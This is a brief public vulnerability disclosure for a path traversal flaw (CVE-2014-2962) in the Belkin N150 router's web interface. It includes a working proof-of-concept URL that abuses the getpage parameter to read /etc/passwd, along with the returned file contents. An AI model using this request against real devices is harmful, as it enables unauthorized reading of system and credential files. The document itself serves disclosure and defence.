# Title: Path Traversal Vulnerability # Product: Belkin Router N150 # Author: Rahul Pratap Singh # Website: https://0x62626262.wordpress.com # Contact: Linkedin: https://in.linkedin.com/in/rahulpratapsingh94 Twitter: @0x62626262 # Vendor Homepage: http://www.belkin.com # Firmware Tested: 1.00.08, 1.00.09 # CVE: 2014-2962 Description: Belkin N150 wireless router firmware versions 1.00.07 and earlier contain a path traversal vulnerability through the built-in web interface. The webproc cgi module accepts a getpage parameter which takes an unrestricted file path as input. The web server runs with root privileges by default, allowing a malicious attacker to read any file on the system. A patch was released by Belkin but that is still vulnerable. POC: http://192.168.2.1/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo #root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh Ref: https://www.kb.cert.org/vuls/id/774788 https://0x62626262.wordpress.com/category/full-disclosure/